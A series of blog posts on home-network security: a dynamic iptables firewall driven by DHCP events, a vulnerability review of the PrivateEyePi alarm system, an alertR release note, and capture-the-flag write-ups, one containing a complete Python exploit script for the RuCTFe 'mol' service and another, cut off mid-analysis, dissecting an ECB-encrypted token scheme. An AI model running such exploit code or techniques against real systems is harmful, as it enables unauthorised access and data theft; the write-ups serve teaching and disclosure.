Skip to content

Build a dynamic firewall or how to add dynamically clients to iptables

Introduction

Some weeks ago I read an article about zero trust networks. Even though I knew the concept, I thought to myself "How much of a zero trust network can I build with easy methods?". So I started to re-model my firewall to add dynamical rules to it depending on the trust level of the client. Before I start please note that this is just the first building block. What I have in mind of doing in the future and a discussion about the security issues with this architecture are in the end of this article. So if you read it and want to shout "I can easily circumvent this with xyz", please see this discussion section. And if you have something I was not thinking of, please let me know (preferable on twitter). In the following I assume everyone knows how iptables works.


TL;DR

I re-modeled my iptables script of the router to add clients dynamically depending on their trust level with the help of the isc-dhcp-server.


Infrastructure

In my home network I use a self-made router based on Debian. The iptables rules are configured with a simple bash script holding all rules, the clients get their IP address with the help of an isc-dhcp-server and bind is used as a local DNS server. Since this router has 3 separate network interfaces, I separated my wifi from my internal network and the Internet. The internal network and the wifi have different IP address ranges. The infrastructure of the network looks something like this:



Obviously, the laptops can switch from the wifi to the internal network when plugging in an ethernet cable. So we have to keep this in mind when designing the mechanism to dynamically updating the iptables rules. The old configuration I used was a classical one. Meaning I got a pool of valid IP addresses for the clients which connected to the network and configured the iptables rules for this pool statically. When I got a special client that had different iptables rules, I gave them a specific IP address and configured the rules for it accordingly.


Design

As I mentioned before, I want to have different trust levels which I assign to each client. When a client connects to the network, it should get an IP address from a pool and the iptables rules are set up according to the trust level. Also I want to be able to reset the iptables without loosing each configured dynamic client (for example when I change something at the static part of the iptables rules) and without storing some kind of state for each client. With the help of iptables chains I came up with the following design:



This is the design for the INPUT chain. The FORWARD and OUTPUT chains have the same design principle. I separated the iptables rules in 3 different categories: static chains, transit chains, dynamic chains.

The static chains contain all the rules for the static clients that do not change their IP address (like the router itself or the servers). For example the router allows each client in the internal and wifi network to get an IP address via DHCP.

The transit chains contain the rules that connect the static chains to the dynamic chains. In the image you can see that the INPUT chain contains a rule that jumps to the dynamic input chain. This chain contains all the jump rules to the chains for the dynamic clients.

The dynamic chains contain the rules for the dynamic clients. In the image you can see that each client that gets an IP address from the DHCP server gets an own input chain that contains the rules for it. Each client gets its own rules according to its trust level. In the image you can see for example that PC1 is allowed to connect to the router via SSH, whereas Laptop1 and Phone1 are not allowed.

This design allows me to change something in my iptables script on the static chains and restart it without loosing the rules for the dynamic clients. This can be done by flushing and removing all static chains, but leaving the transit chains and dynamic chains alone. Otherwise I had to write something that keeps states for each dynamic client which would also complicate everything further.


Implementation

As I mentioned in the design section, I do not want to write something that keeps states for each dynamic client. But in order to add and remove iptables rules for clients dynamically, something has to know the current state of the clients. For this, I decided to use my isc-dhcp-server installation. It has 3 events on which it can execute a script: commit, release and expiry. The commit is the event that is triggered whenever a client gets an IP address from the dhcp server. The release event is triggered when a client releases its IP address, and the expiry event triggers when a IP address lease expires. We can use this to add and delete iptables rules dynamically. The architecture for this looks as follows:



The dhcp server executes wrapper scripts for each event with the IP address and the MAC address of the client as argument. This is done because it cannot start a script in the background. This means the script blocks the dhcp server until it is finished. To avoid this, the wrapper script does nothing else than executing the add client/remove client script in the background and just forwards the arguments. The add client script searches in a "database" (I just use a csv file for this) for a mapping of the MAC address to a trust level. If it has found one, it executes the iptables script and passes it the IP address and the corresponding trust level. The iptables script then adds the corresponding rules for the client. The remove client script which is executed for the release and expiry event just passes the IP address to the iptables script which then removes the rules for the corresponding client.

This was the high-level overview of the architecture. Now to the technical aspect. I assume that the scripts are stored under /etc/firewall/. The given code is a slimed down version of the one I use. I removed aspects such as running the dhcp server under a different user as root in order to make it easier to understand (just add an entry in the /etc/sudoers for the add client/remove client scripts). The important configuration part for the isc-dhcp-server (dhcpd.conf) looks like the following:


 subnet 10.1.1.0 netmask 255.255.255.0 {
  range 10.1.1.50 10.1.1.150;
  option routers 10.1.1.1;
  option broadcast-address 10.1.1.255;
  option domain-name "h4des.org";
  option domain-name-servers 10.1.1.1;

  on commit {
   set ClientIP = binary-to-ascii(10, 8, ".", leased-address);
   set ClientMac = binary-to-ascii(16, 8, ":", substring(hardware, 1, 8 ) );
   execute ("/etc/firewall/dhcpd/on_commit_wrapper.sh", ClientIP, ClientMac);
  }

  on release {
   set ClientIP = binary-to-ascii(10, 8, ".", leased-address);
   set ClientMac = binary-to-ascii(16, 8, ":", substring(hardware, 1, 8 ) );
   execute ("/etc/firewall/dhcpd/on_release_wrapper.sh", ClientIP, ClientMac);
  }

  on expiry {
   set ClientIP = binary-to-ascii(10, 8, ".", leased-address);
   set ClientMac = binary-to-ascii(16, 8, ":", substring(hardware, 1, 8 ) );
   execute ("/etc/firewall/dhcpd/on_expiry_wrapper.sh", ClientIP, ClientMac);
  }
 }

 subnet 192.168.0.0 netmask 255.255.255.0 {
  range 192.168.0.50 192.168.0.150;
  option routers 192.168.0.1;
  option broadcast-address 192.168.0.255;
  option domain-name "h4des.org";
  option domain-name-servers 192.168.0.1;

  on commit {
   set ClientIP = binary-to-ascii(10, 8, ".", leased-address);
   set ClientMac = binary-to-ascii(16, 8, ":", substring(hardware, 1, 8 ) );
   execute ("/etc/firewall/dhcpd/on_commit_wrapper.sh", ClientIP, ClientMac);
  }

  on release {
   set ClientIP = binary-to-ascii(10, 8, ".", leased-address);
   set ClientMac = binary-to-ascii(16, 8, ":", substring(hardware, 1, 8 ) );
   execute ("/etc/firewall/dhcpd/on_release_wrapper.sh", ClientIP, ClientMac);
  }

  on expiry {
   set ClientIP = binary-to-ascii(10, 8, ".", leased-address);
   set ClientMac = binary-to-ascii(16, 8, ":", substring(hardware, 1, 8 ) );
   execute ("/etc/firewall/dhcpd/on_expiry_wrapper.sh", ClientIP, ClientMac);
  }
 }
 


The scripts needed for the rest can be downloaded here.


Discussion and Future Work

Obviously, this is not a finished zero trust network and it has still security issues. But it is a first building block for it. The biggest security issue is relying on the MAC address to distinguish clients. Of course any adversary can easily forge this. For this a more sophisticated method has to be used (perhaps IEEE 802.1X?). But at the moment I have no idea what can be used for this in an easy way.

The next problem is even if distinguishing clients were secure, an attacker can still steal the MAC address of a client that is currently connected to the network. In order to tackle this issue, the ARP packets have to be monitored. I do not know what already exists to do this.

And connected to the IP addresses, if a client just disconnects from the network without releasing the IP address, the router still allows every traffic for it according to the trust level until the expiry event triggers. In this time frame, an attacker can abuse the iptables rules. This can be tackled by lowering the lease time of an IP address.

At the moment the iptables rules are only set in the router, however, the servers still do not distinguish between the clients. A better way would be to let the router tell the servers to add or remove iptables rules. At the moment I think the easiest way to do this is to use ssh and just execute a script on the server that handles everything. And also it would be way cooler if not only the router changes its permissions dynamically, but the servers as well (meaning the whole network does) :-)

So I guess this was every security issue I currently had on my mind with the current concept. But if you have thought of something else, please let me know (preferable on twitter). And if you have other ideas to tackle the problems I mentioned, please let me also know.

Security Issues in PrivateEyePi Home Alarm System: Why I would not use it!

Introduction

PrivateEyePi is a home automation and monitoring project for the RaspberryPi. I saw some articles about PrivateEyePi and saw that they even have their own store on their website. Since I am the author of alertR (another open-source alarm system), I thought I take a closer look at what they are doing. Before I started with alertR, I looked briefly at some open-source projects to see if some project is doing what I wanted to do. In most cases it was sufficient to only look at the website of the project. PrivateEyePi was quickly dismissed by me because they only work with one host. Hence, I never took a closer look into it. And I know that it looks a little bit pitiful that I am writing an article about "how insecure this project is". But after taking a closer look, I have to say that from a security perspective I strongly discourage anybody to use it. And the following will explain why ...


Installation

Let us start at the beginning. And in the beginning was ... the installation. As far as I can tell I analyzed version v12 of the PrivateEyePi software. For all versions, the project explains in a small tutorial how to install PrivateEyePi. They describe that you should download the install.sh file and execute it via sudo sh install.sh. The install.sh file looks like the following:


sudo rm -f pep.zip
sudo mkdir -p pep_backup
sudo mv alarm.py pep_backup 2>/dev/null
sudo mv restarter.py pep_backup 2>/dev/null
sudo mv alarmfunctionsr.py pep_backup 2>/dev/null
sudo mv dht22.py pep_backup 2>/dev/null
sudo mv dallas.py pep_backup 2>/dev/null
sudo mv rfsensor.py pep_backup 2>/dev/null
sudo mv globals.py pep_backup 2>/dev/null
sudo mv webcam.py pep_backup 2>/dev/null

sudo mv lcd_hd44780.py pep_backup 2>/dev/null
sudo mv lcd_nokia.py pep_backup 2>/dev/null
sudo mv lcdtest.py pep_backup 2>/dev/null
sudo mv publish.py pep_backup 2>/dev/null
sudo mv subscribe.py pep_backup 2>/dev/null

sudo wget www.privateeyepi.com/downloads/pep.zip
unzip -o pep.zip
sudo chmod 777 alarm.py
sudo chmod 777 dallas.py
sudo chmod 777 globals.py
sudo chmod 777 alarmfunctionsr.py
sudo chmod 777 dht22.py
sudo chmod 777 restarter.py
sudo chmod 777 pep_backup
sudo chmod 777 webcam.py

sudo chmod 777 lcd_hd44780.py
sudo chmod 777 lcd_nokia.py
sudo chmod 777 lcdtest.py
sudo chmod 777 publish.py
sudo chmod 777 subscribe.py

sudo apt-get install python-serial
 


Perhaps some of you saw my little Twitter rant (actually, I do not think so but everyone can hope, right? ;-) ). First of all the install.sh file is already executed with sudo. Therefore all the additional sudos are unnecessarily. Second, you should not execute wget or unzip with root permissions. You never know what nasty bug could be triggered. But what you certainly do not do is change the file permissions for a file owned by root (or in this matter for any other user) to 777 (world-read-exec-write)! To make this bug complete, in the next steps of the tutorial the alarm system is started via the command sudo python alarm.py, which means it is also run with root permissions.

Perhaps some of you ask now "Why shouldn't I have a file world-read-exec-writable? And why not as root?". Well, some other user on the same system can write into the file (it is writable by everyone, so it can be any user). And when the application is now executed with root permissions, this user can execute code with root privileges.

Well, this was the installation process. Let us switch to the next step in the installation tutorial, the registration at the central server of PrivateEyePi.


Central Server Webinterface

You have to register an account on the central server of PrivateEyePi in order to use your alarm system at home. Wait, what?! Yes, PrivateEyePi uses a central server which is owned by them to give user access to their home alarm system. Sounds suspicious you think? Well, we will come back to this later.

We go not into depth here, since I am not the owner of this server and probably have no permission to test the webinterface. But again, perhaps you saw my little rant on Twitter again :-) .






You can see that when I want to change my user account information, I can see my used password in the source code of the page. What does this mean? First of all this means that the password is stored in plaintext. This means anyone of the PrivateEyePi guys can read your password (or any attacker that compromised the server). If you have used your default password and your default eMail address that you use everywhere: Sucks to be you :-P ! Second, even if you have a magical reason to store the password in plaintext (there is none!), you certainly do not send it back to a web page. For example, if you are logged in to the webinterface and someone else uses your browser, this someone can see your password.

This is all I can say about the webinterface. But seeing the quality of the code so far I am pretty sure that you will find other security issues there like SQLi (which would probably allow you to get user informations like eMail addresses and passwords ... in plaintext).

What is next in the installation tutorial? The configuration of the alarm system.


Configuring the Alarm System

Now we come back to the central server part. The alarm system is mainly configured via the webinterface on the central PrivateEyePi server. Stuff like eMail addresses the alarms should be sent to, GPIOs of the sensors etc. are configured via the central server. The stuff that is configured locally can be found in the globals.py. This is rather uninteresting stuff like user credentials for the central PrivateEyePi server, or if the temperature is shown in Fahrenheit, SMTP server settings, or the GPIO for a connected siren (I do not know why this is actually configured locally when the sensors are configured on the central server).

The architecture of the system can be seen in the following figure:



As can be seen, all sensors and other hardware is connected to the RaspberryPi. The home alarm system collects the data and sends it to the central server. Additionally, the home alarm system polls the server for commands it should execute. The webinterface of the central server can be used by the user to see the information the sensors collect and give commands like turning off the alarm system (hopefully, some of you already see how problematic this design is ... if not, I will come to it in a few seconds).

I think this design was chosen to circumvent the need to configure port forwarding on the local router. This way, a user is able to reach his home alarm system from his mobile phone without changing any Internet settings at home or setting up a service that is reachable from the Internet. But this design is quite problematic and also naive. Why naive? Well, imagine you have a home alarm system. Would you tell a stranger that nobody is at your home? And while we are on it, would you also give this stranger the key to disarm your home alarm system? No? Well, me neither. But if you use PrivateEyePi you do.

Let me explain why before I show concrete attack scenarios. PrivateEyePi sends the collected sensor data to the central server. If you have motion detection sensors and sensors at your windows and doors, their states are send to the central server and stored there. Not only you, but also the PrivateEyePi guys and an attacker that compromised their server are able to see this information. Therefore, they know when no one is at your home. Since the central server is able to send commands to your alarm system, the PrivateEyePi guys and an attacker is also able to do it. Hence, these strangers are able to disarm your alarm system.

Now let us take a look at concrete attack scenarios.


We are secure. We used encryption!

First we take a look at the connection between the home alarm system and the central server. These connections can be found in the alarmfunctionsr.py and webcam.py file. Both are done in the same way. A https URL is visited with GET parameters that either update the data on the central server or request data. This URL also contains the username and password of your user account. Well, since they are using an encrypted connection to their central server, everything is fine and we can go to the next section? Not exactly. Yes, they are setting up an encrypted connection. But they are using urllib2 for it. And urllib2 does not validate the certificate offered by the server by default. This option has to be manually set. And yes, there is a proposal to activate this check by default. But I do not know if it is already implemented. I checked it with Python 2.7.6 and it does not verify the certificate. Hence, when an attacker is able to hijack the connection he can just offer any certificate and the home alarm system will accept it. Therefore, an attacker does not necessarily have to compromise the central server, he just needs to hijack the connection (although I guess the first option might be easier).


I spy with my little eye ... uff, why am I suddenly blind?

The home alarm system gets its sensor configuration from the central server. Therefore, the central server can just send an empty or false configuration to the home alarm system. And suddenly ... the home alarm system is blind. This way an attacker is able to disable the alarm system completely or just remove specific sensors (to be a little bit sneakier).

Why does this work? Well, in the file alarm.py the main() function enters an infinity loop which polls the GPIO states of the sensors. And this infinity loop polls also the current configuration from the central server and applies it locally any 600 seconds.


Look mum no hands!

One interesting command is the /PHOTO command. This attack only works if a webcam is connected to the home alarm system and the SMTP server is configured to send eMails. Well, what does it do? The command tells the home alarm system to send an eMail to the configured eMail addresses with a picture taken by the webcam. The fun part is, the eMail addresses this message is sent to are also configured via the central server. Before the home alarm system sends this message, it asks the central server for the eMail addresses. Therefore, the attacker can just send his eMail address to the home alarm system and gets a picture taken by the webcam. No one else is getting this message. So it is kind of sneaky ;-) .

If you want to see it for yourself, you can find it in the alarmfunctionsr.py file. ProcessActions() is called when a message is received from the central server. This calls SendEmailAlertFromRule() with all the necessary arguments to take a picture. A thread is started that executes SendEmailAlertThread(). This function gets the eMail addresses from the central server with GetDataFromHost() and the used arguments. Then it builds the message and sends it to the received eMail addresses.


Inoutput. What?!

This is a really cool attack, because it can actually damage the hardware. The command /RELAYON is responsible for it. With this command, a GPIO pin number and the option HIGH or LOW is also received. What does it do? Well, it sets the given GPIO pin number as output pin and sets it to either HIGH or LOW. In the case of RaspberryPi, HIGH means it sets up 3.3V. This can be used for two attacks. First, we can trigger a sensor that is configured on our home alarm system. This can be done by setting the GPIO pin to a HIGH state that is also used as an input GPIO pin of a sensor. Second, if the sensor (or other hardware) that is connected to a GPIO pin that is set to a HIGH output is not built well, it can be damaged (I asked an electronics guy because I was not sure, and he told me it can happen). Not so often that we see a software attack that can actually damage hardware :-) .

Again, this can be found in the alarmfunctionsr.py file. ProcessActions() is called when a message is received from the central server. This calls SwitchRelay() which sets the GPIO pin to an output port and to HIGH/LOW.


Miscellaneous Stuff

I am not a professional programmer. Therefore, I do not like to say stuff like "Uh, look at this shady code!". But there are some constructs in the PrivateEyePi code I wanted to show. Let us just look at the function ProcessActions():


def ProcessActions(ActionList):
    FalseInd=True
    for x in ActionList:
        if x[0]=="/EMAIL":
                SendEmailAlertFromRule(x[1], x[2],0)
                x.remove
        if x[0]=="/SEMAIL":
                SendEmailAlert(x[1])
                x.remove
        if x[0]=="/CHIME":
                StartChimeThread()
                x.remove
        if x[0]=="/rn588":
                exit()
        if x[0]=="/FALSE":
                FalseInd=False
        if x[0]=="/SIREN":
                StartSirenThread(x[2])
                FalseInd=3
                x.remove
        if x[0]=="/PHOTO":
                SendEmailAlertFromRule(x[1], x[2],1)
                x.remove
        if x[0]=="/RELAYON":
                SwitchRelay(1,x[2])
                x.remove
        if x[0]=="/RELAYOFF":
                SwitchRelay(0,x[2])
                x.remove
        if x[0]=="/WRELAYON":
                SwitchRFRelay(1)
                x.remove
        if x[0]=="/WRELAYOFF":
                SwitchRFRelay(0)
                x.remove
    return(FalseInd)
 


The argument ActionList has the type list. Well, what does this function do? It iterates over the ActionList elements and checks if they contain a specific known command (more specifically, if the first element of this list contains a specific command). In the end, the function returns FalseInd.

Let us take a closer look at FalseInd. Do you see it? In the beginning this variable is set to True. If the command /FALSE is received, it is set to False. When the command /SIREN is received, it is set to 3. Dafuq?! I know that Python allows you to do this. But this does not mean that you should do it (like goto in C). If you use a variable as a boolean, stick to it and do not change it to an integer.

Also, each list element x should be removed from the ActionList (at least, I think this is what it should do). Hence, the line x.remove. Well, x is a list and has therefore the function remove(). But first of all, it is not invoked by the line x.remove. This just returns you the address of the function. And second, remove() takes an argument. Therefore, this line does actually nothing and does not make any sense.

Another thing you often see in the code is something like the following:


[...]
def PollGPIO():
# Routine to continuously poll the IO ports on the Raspberry Pi
        global ciruit
        global GPIOList
        global numgpio
        global GPIO
        global AlarmActioned
[...]

def NotifyHostEvent(z, status):
        global GPIOList
        global Locations
[...]

def PollRoutine():
        global start_time
        global elapsed_time
[...]
 


I do not know why they are using global variables for everything. Hell, even the whole configuration is done with global variables. And the file is called globals.py. And because of the import globals in the beginning of each file, this has strange effects on the syntax highlighting of an editor. Because globals() is a built-in function in Python, the editor highlights any use of the configuration variables like globals.LCDAlarmActivity. Definitely another thing you do not do when programming in Python.


Conclusion

This was a non-exhaustive list of security issues I found in PrivateEyePi. Note that I did non take a detailed dive into any file. Only the parts that work directly with data from the central server I looked into (and I did not really track the complete data-flow ... there could be a lot more to find). Well, as you have seen these are the reasons I would not recommend using PrivateEyePi. In my opinion, it is totally broken by design. The complete alarm system can be controlled by the PrivateEyePi guys and if the server is compromised, an attacker can so too. Additionally, the design allows an attacker to actually damage the connected hardware.


Update 06-01-18

The PrivateEyePi authors contacted me and said that they fixed a lot of issues in their current version. The following is a summary of changes they send me. However, I like to stress that this is only a list of things the authors send to me. I did not check the code if these changes were actually made:

- User password encryption in database and password are no longer passed from server to client.
- Devices and sensors connecting to PrivateEyePi server now use a token to authenticate, not email and password. The token cannot be use used to login to the website. The token is only displayed to the user once and never transmitted from the server to the web page after the initial creation.
- Alarm activation/deactivation can only be done through the website.
- Remote control for GPIO, RF devices and web cam photo function configured off by default through a new setting AllowExternalControl.
- Installation script does not use chmod 777 anymore and removed sudo where it is not necessary.
- Python 2.7.9. now validates certificates by default.
- Cleaned up use of FalseInd Boolean variable to store status beyond True/False.
- Cleaned up remove function from ActionList.

RuCTFe 2015: Ministry of Love (mol) write-up

This years RuCTFe 2015 consists of many cool challenges. One of these was the "Ministry of Love" (mol) challenge.

It was a python services that ... I do not know what it does. But it does not matter. You use this service via a web interface. Once you visit the site, a Websocket is opened to the server. Then you register/login there and you have a stateful connection (no cookies or what so ever). When you surf around the webinterface, you notice that sometimes "crimes" are reported. Some of these crimes are marked as private and you can not look them up. These are the interesting ones. The description field of these crimes contain the flag.

So, how can we reach them? Well, first you have to register an account to use the web interface. The function that does this is obviously named "register()". When you go through this function you will see this line:



user['role'] = len(user['username']) < 3
 


And yes. This does exactly what it looks like. The role of the user is set to some kind of admin role if the length is lower than 3. So, let us exploit it. A simple exploit script that uses the websocket-client of python looks like this:



#!/usr/bin/python

import websocket
import os
import sys
import json
import re


usernames = ["fx", "ab", "cd", "bf"]
password = "sdfsdfsfdasfdaklsdajklfhjk"
_DEBUG = True


def create_connection():

        for i in range(len(usernames)):

                host = sys.argv[1]
                team_id = host.split(".")[2]

                connection = websocket.create_connection(
                        "ws://mol.team" + team_id + ".e.ructf.org:80/websocket")

                register_msg = json.dumps({"action": "register",
                        "params": {
                        "username": usernames[i],
                        "password": password
                        }})

                connection.send(register_msg)

                response = json.loads(connection.recv())


                auth_msg = json.dumps({"action": "auth",
                        "params": {
                        "username": usernames[i],
                        "password": password
                        }})
                connection.send(auth_msg)

                response = json.loads(connection.recv())


                if response["type"] == "default alert alert-success":
                        return connection
                else:
                        continue

        return None

if _DEBUG: print "Connect to server"
connection = create_connection()
if connection is None:
        print "Could not login to service"
        sys.exit(1)

if _DEBUG: print "Connecting successful"

# ignore first response
response = json.loads(connection.recv())

# get private crimes
crimes_msg = json.dumps({"action": "show_crimes",
        "params": {
        "offset": 0
        }})
connection.send(crimes_msg)
response = json.loads(connection.recv())
private_crime_ids = list()
for row in response["rows"]:
        if "data" in row.keys():
                for data_set in row["data"]:

                        if data_set["public"] != "":
                                private_crime_ids.append(data_set["crimeid"])

if len(private_crime_ids) == 0:
        print "No private crime ids"
        sys.exit(1)

for private_crime_id in private_crime_ids:

        if _DEBUG: print "Get crime id " + str(private_crime_id)

        crime_msg = json.dumps({"action": "show_crime",
                "params": {
                "crimeid": private_crime_id
                }})
        connection.send(crime_msg)
        response = json.loads(connection.recv())

        if ("type" in response.keys() and
                response["type"] == "default alert alert-danger"):
                if _DEBUG: print "Not able to get private crime"
                continue

        if not "rows" in response.keys():
                if _DEBUG:
                        print "No rows"
                        print response
                continue

        for row in response["rows"]:
                if "data" in row.keys():
                        r = re.search("\w{31}=", row["data"]["description"])
                        if r:
                                print r.group(0)
 


And that's all. I am certain that there are more vulnerabilities in this service but because this time our team did not have so many players, I went on to the next service and never came back :-(

alertR: Version 0.300 Released

alertR is a project of mine which I started in August 2014. It is an unified alerting system which is based on a client/server model. The main part is written in Python and is published as Free-Software. If you do not know this project yet, here are some interesting links:

* Github repository
* Github wiki for documentations
* Blog article: Introducing alertR: Open-Source alerting system (with video)
* Blog article: alertR: dbus and xbmc notification client (with video)
* Blog article: alertR: rule engine (with video)


What is new?

The alerting system can now distinguish between "triggered" and "normal" state sensor alerts. A "triggered" sensor alert happens, when the triggered state of the sensor is reached (for example a door is opened). The "normal" sensor alert happens (if configured to be considered), when the sensor goes back to the normal state (for example if the opened door is closed again).

The Mobile Manager was split into "alertR Web Mobile Manager" and "alertR Manger Client Database". The idea of the database manager is that it can be used to provide the data of the alerting system to other "not alertR" components. The database is the shared medium that have to be read by the components (for example a web page or an IRC bot) to get the information. In order to have a way for the components to communicate with the alerting system, the database manager has a local UNIX socket server. Additionally, the database manager is now able to store events in the database as an event log. Furthermore, the database manager can check the versions of all alertR clients against the available versions in the online repository.

Last but not least, an alertR survey was added to the alertR server. The server can now participate in this survey and will send information about the used versions, instances, and if the online update is activated or not once a week to the survey server. The participation in this survey is optional and can be completely disabled in the configuration file of the server. The survey was added to the alertR system, because of the install and update mechanism that uses the Github repository. The way these mechanisms work, no data can be derived of the used instances or whether alertR is used after all.


Mobile Web Page

The mobile web page was completely rewritten for the new version. It is now able to show all information about the alerting system that is available. Also, because the alertR Manger Client Database can store an event log of events happening in the alert system, the mobile web page can display you an event log. The following shows a screenshot of the overview site of the mobile web page:

ictf 2014/2015 securenotebook write up

The securenotebook challenge was a 64 bit ELF binary which also consists of a zip archive. The symbols of the ELF file contained a lot of Python stuff, but we did not look deeper into it. After unpacking the zip archive, we were supplied by a lot of .pyc files. The obvious point to start was the __main__.pyc file. In order to get the python source, we used uncompyle2 from the pip repository.

The program first defines some global variables which can be seen in the following:



sys.stdout = NullDevice()
sys.stderr = NullDevice()
FORMAT = '%(asctime)-15s %(message)s'
logging.basicConfig(filename='server.log', format=FORMAT, level=logging.DEBUG)
logger = logging.getLogger('server')
logging.disable(logging.CRITICAL)
lock = Lock()
allowed_commands = set(['ls', 'cat secret.txt', 'cat server.py'])
aes_key = os.urandom(32)
secret = os.urandom(200)
root = 'rootadministrator'
manager = Manager()
db = manager.dict()
 



The first that can be noticed is that we can forget to guess the "aes_key" and "secret" in a short period of time. Let us go to the main function:



def main():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_address = ('0.0.0.0', int(sys.argv[1]))
    sock.bind(server_address)
    sock.listen(1)
    processes = []
    lasttime = datetime.datetime.now()
    try:
        while True:
            now = datetime.datetime.now()
            d = now - lasttime
            if d > datetime.timedelta(seconds=20):
                lasttime = now
                tobe_removed = []
                for i in range(len(processes)):
                    if now - processes[i][1] > datetime.timedelta(seconds=20):
                        try:
                            processes[i][0].terminate()
                        except Exception as e:
                            pass
                        tobe_removed.append(i)
                    else:
                        break

                for i in sorted(tobe_removed, reverse=True):
                    del processes[i]

            print >> sys.stderr, 'waiting for a connection'
            (connection, client_address,) = sock.accept()
            process = multiprocessing.Process(target=handle, args=(connection,
             client_address,
             db,
             lock))
            process.daemon = True
            process.start()
            processes.append((process, datetime.datetime.now(), connection))

    except Exception as e:
        print e
 



As we can see, the function handle is called when an incoming connection is detected. Let us go to the handle function:



def handle(connection, address, db, lock):
    try:
        connection.send('user|pass:')
        data = connection.recv(1024)
        print data,
        print 'read'
        user = authenticate(data, db, lock)
        if len(user) == 0:
            raise Exception('Not authenticated')
        print 'user %s authenticated' % user
        print 'creating token for user',
        print user
        tok = create_token(user)
        print 'token=',
        print tok
        connection.send(tok)
        while True:
            connection.send('\ncookie,command:')
            data = ''
            tries = 0
            while len(data) == 0:
                data = connection.recv(1024)
                tries += 1
                if tries > 20:
                    connection.close()
                    return

            print 'data=',
            print data
            out = parse_command(data)
            connection.send(out)

    except Exception as e:
        print e
        connection.close()
 



We can see that first the authentication is required and after the authentication is done, a token is generated and sent back to the user. After that every input is given to the parse_command function. First let us start with the authenticate function:



def authenticate(s, db, lock):
    lock.acquire()
    try:
        fields = s.split('|')
        if len(fields) < 2:
            raise Exception('Invalid format')
            return ''
        user = fields[0]
        user = user.strip()
        passwd = fields[1]
        passwd = passwd.strip()
        print user,
        print passwd
        if not (safe_string(user) and safe_string(passwd)):
            raise Exception('Unsafe')
            return ''
        if user == root:
            if passwd == secret:
                print user,
                print 'authenticated'
                return user
            else:
                raise Exception('Unauthorized')
                return ''
        else:
            if user in db and db[user] == passwd:
                print user,
                print 'authenticated'
                return user
            else:
                if user not in db:
                    print user,
                    print 'authenticated'
                    db[user] = passwd
                    return user
                return ''
    except:
        raise
    finally:
        lock.release()
 



The given data is split by a "|" into user and passwd. Both values are stripped. After that both values are checked if they are safe (the function checks if the values are alphanumeric). If the user is root and the passwd is the secret from the global variables (which we can not guess nor send to the server as input because of the safe_string function), then the user is authenticated as root. Else-wise, the user is authenticated using the db or created if it does not exist yet. Nothing special in this function. So let us move on. We skip the token generation and first look into the parse_command function:



def parse_command(msg):
    try:
        fs = msg.split(',')
        b64_c = fs[0]
        command = fs[1]
        command = command.strip()
        print 'command=',
        print command
        print 'fields=',
        print fs
        c = base64.b64decode(b64_c)
        aes = Crypto.Cipher.AES.new(aes_key, Crypto.Cipher.AES.MODE_ECB)
        m = aes.decrypt(c)
        print 'm=',
        print m
        fields = m.split('|')
        year = int(fields[0])
        month = int(fields[1])
        day = int(fields[2])
        hour = int(fields[3])
        minute = int(fields[4])
        user = fields[5]
        user = user.strip()
        print 'mfields=',
        print fields
        ts = datetime.datetime(year, month, day, hour, minute)
        t = datetime.datetime.now()
        d = t - ts
        if d > datetime.timedelta(seconds=60):
            print 'expired'
            raise Exception('Expired')
            return ''
        else:
            if command == 'ls':
                print 'ls'
                try:
                    pipe = os.popen('ls')
                    out = pipe.read()
                    pipe.close()
                except Exception as e:
                    out = ''
                return out
            if command == 'cat server.py':
                print 'read src'
                try:
                    pipe = os.popen('cat server.py')
                    out = pipe.read()
                    pipe.close()
                except Exception as e:
                    out = ''
                    raise
                return out
            if command == 'retv secret':
                print 'retv'
                if user == root:
                    try:
                        pipe = os.popen('cat secret.txt')
                        out = pipe.read()
                        pipe.close()
                    except Exception as e:
                        out = ''
                        raise
                    return out
                else:
                    try:
                        try:
                            users_vault = 'secret_of_%s.txt' % user
                            pipe = os.popen('cat "%s"' % users_vault)
                            out = pipe.read()
                            pipe.close()
                            print 'out =',
                            print out
                        except Exception as e:
                            out = ''
                            raise
                    except:
                        out = ''
                    return out
            elif command.startswith('write '):
                print 'write'
                to_write = command[len('write '):]
                if user == root:
                    try:
                        f = open('secret.txt', 'wt')
                        f.write(to_write)
                        f.close()
                    except:
                        print 'failed'
                        raise
                else:
                    try:
                        users_vault = 'secret_of_%s.txt' % user
                        f = open(users_vault, 'wt')
                        f.write(to_write)
                        f.close()
                    except:
                        print 'failed'
                        raise
            return ''
    except Exception as e:
        print e,
        print 'msg=',
        print msg
        raise
        return ''
 



Ok, first the function splits the data into cookie and command. The cookie is the token that is created by the server. The cookie is base64 decoded and decrypted by AES in ECB mode. An alarm bell should start in your head at this point. ECB mode looks always fishy. But let us go on. The date is extracted from the cookie and the user name. This is nice. This means we are recognized by the cookie. Therefore we can login by someone we know and could exchange our cookie to steal a session. But let us move on. The commands that can be used are "ls", "cat server.py", "retv secret" and "write". I skip the unimportant commands and only describe the "retv secret". This command outputs the file "secret_of_USERNAME.txt". In this file the flag is written by the gaming server. First, "retv secret" and "write" looked a little bit like a command injection, but because of the safe_string method we can not inject anything. But perhaps via the user value of the cookie (if we can manipulate it). Let us move on to the token generation:



def create_token(user):
    try:
        print 'creating the token'
        t = datetime.datetime.now()
        plain_token = '%d|%d|%d|%d|%d|%s|CHALLENGE' % (t.year,
         t.month,
         t.day,
         t.hour,
         t.minute,
         user)
        l1 = len('%d|%d|%d|%d|%d|' % (t.year,
         t.month,
         t.day,
         t.hour,
         t.minute))
        padded_plain_token = ' ' * (16 - l1 % 16) + plain_token
        l = len(padded_plain_token)
        padded_plain_token = padded_plain_token + ' ' * (16 - l % 16)
        aes = Crypto.Cipher.AES.new(aes_key, Crypto.Cipher.AES.MODE_ECB)
        enc_token = aes.encrypt(padded_plain_token)
        b64_token = base64.b64encode(enc_token)
        return b64_token
    except Exception as e:
        logger.error('%s' % str(e))
        raise
 



The token consists of the year, month, day, hour, minute, user and "CHALLENGE" separated by a "|". Then these values are padded in the front and at the back and AES encrypted via ECB mode. The result is base64 encoded and used as cookie by the server. The padding and ECB mode is interesting. The padding at the front only regards the year, month, hour and minute. This means that our user name always starts at the beginning of an AES block. Remember that AES always encrypts blocks of 16 bytes. This means the padding at the back of the string only regards our user name + "|CHALLENGE". So let us take a look at the user names the server uses.

A user name that is used by the gaming server looks like this "zY3RZIQ1pVIhC2D59ySX". It is always 21 characters long and we can not guess it. But we get it by the exploiting service of the gaming server. So we know the user name, but we do not know the password. So what can we do?

